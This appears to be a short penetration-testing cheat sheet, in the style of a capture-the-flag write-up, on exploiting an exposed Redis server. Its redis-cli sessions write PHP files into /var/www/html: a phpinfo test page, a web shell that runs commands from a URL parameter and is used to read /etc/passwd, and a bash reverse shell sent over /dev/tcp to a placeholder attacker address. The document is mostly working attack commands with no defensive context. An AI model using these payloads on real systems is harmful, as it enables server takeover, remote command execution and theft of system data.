How to deal with a Redis database?

  • Download redis-tools: sudo apt install redis-tools

  • Use the following command to gather info: info

  • Introduce a php RCE:

redis-cli -h 10.10.60.159
10.10.60.159:6379> config set dir /var/www/html
OK
10.10.60.159:6379> config set dbfilename redis.php
OK
10.10.60.159:6379> set test "<?php phpinfo(); ?>"
OK
10.10.60.159:6379> save
OK
  • Now in Firefox, navigate to <target-ip>/redis.php

  • If it is shown the phpinfo() file, the try to run this to get a shell:

redis-cli -h 10.10.60.159
10.10.60.159:6379> config set dir /var/www/html
OK
10.10.60.159:6379> config set dbfilename redisshell.php
OK
10.10.60.159:6379> set test "<?php system($_GET['cmd']); ?>"
OK
10.10.60.159:6379> save
OK
  • Now on the web-nav put something like this: view-source:http://10.10.60.159/redisshell.php?cmd=%20cat%20/etc/passwd

  • Now set up a listener and create a simple reverse php shell:

redis-cli -h 10.10.60.159
10.10.60.159:6379> config set dir /var/www/html
OK
10.10.60.159:6379> config set dbfilename redisshell.php
OK
10.10.60.159:6379> set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/<attck-ip>/<port> 0>&1'\"); ?>"
OK
10.10.60.159:6379> save
OK

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